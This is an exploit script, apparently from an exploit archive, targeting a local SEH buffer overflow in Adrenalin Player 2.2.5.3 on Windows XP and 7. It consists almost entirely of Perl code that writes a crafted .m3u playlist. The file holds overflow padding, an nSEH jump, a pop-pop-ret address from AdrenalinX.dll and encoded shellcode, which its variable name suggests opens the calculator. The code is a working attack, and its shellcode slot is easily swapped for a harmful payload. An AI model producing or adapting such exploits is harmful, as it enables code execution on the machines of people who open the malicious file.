Adrenalin Player 2.2.5.3 – ‘.m3u’ Local Buffer Overflow (SEH)
# Exploit Title: Adrenalin Player 2.2.5.3 Buffer Overflow Exploit(SEH) # http://software.naver.com/software/summary.nhn?softwareId=MFS_100099 # Author: seaofglass (seaofglass@korea.com) # Version : 2.2.5.3 # Tested on: WinXP3 KOR, Win7 KOR my $file = "adrenalin.m3u"; my $junk = "\x90" x 2172; my $nseh = pack('V', 0x909006EB); my $seh = pack('V', 0x1016f313); #ppr from AdrenalinX.dll my $nop = "\x90" x 16; my $calc = "\xba\x38\xdc\x15\x77\xdd\xc7\xd9\x74\x24\xf4\x5d\x33\xc9" . "\xb1\x33\x83\xc5\x04\x31\x55\x0e\x03\x6d\xd2\xf7\x82\x71" . "\x02\x7e\x6c\x89\xd3\xe1\xe4\x6c\xe2\x33\x92\xe5\x57\x84" . "\xd0\xab\x5b\x6f\xb4\x5f\xef\x1d\x11\x50\x58\xab\x47\x5f" . "\x59\x1d\x48\x33\x99\x3f\x34\x49\xce\x9f\x05\x82\x03\xe1" . "\x42\xfe\xec\xb3\x1b\x75\x5e\x24\x2f\xcb\x63\x45\xff\x40" . "\xdb\x3d\x7a\x96\xa8\xf7\x85\xc6\x01\x83\xce\xfe\x2a\xcb" . "\xee\xff\xff\x0f\xd2\xb6\x74\xfb\xa0\x49\x5d\x35\x48\x78" . "\xa1\x9a\x77\xb5\x2c\xe2\xb0\x71\xcf\x91\xca\x82\x72\xa2" . "\x08\xf9\xa8\x27\x8d\x59\x3a\x9f\x75\x58\xef\x46\xfd\x56" . "\x44\x0c\x59\x7a\x5b\xc1\xd1\x86\xd0\xe4\x35\x0f\xa2\xc2" . "\x91\x54\x70\x6a\x83\x30\xd7\x93\xd3\x9c\x88\x31\x9f\x0e" . "\xdc\x40\xc2\x44\x23\xc0\x78\x21\x23\xda\x82\x01\x4c\xeb" . "\x09\xce\x0b\xf4\xdb\xab\xe4\xbe\x46\x9d\x6c\x67\x13\x9c" . "\xf0\x98\xc9\xe2\x0c\x1b\xf8\x9a\xea\x03\x89\x9f\xb7\x83" . "\x61\xed\xa8\x61\x86\x42\xc8\xa3\xe5\x05\x5a\x2f\xc4\xa0" . "\xda\xca\x18"; open($FILE, ">$file"); print $FILE $junk . $nseh . $seh . $nop . $calc; close($FILE); print "m3u poc file created successfully.\n"; |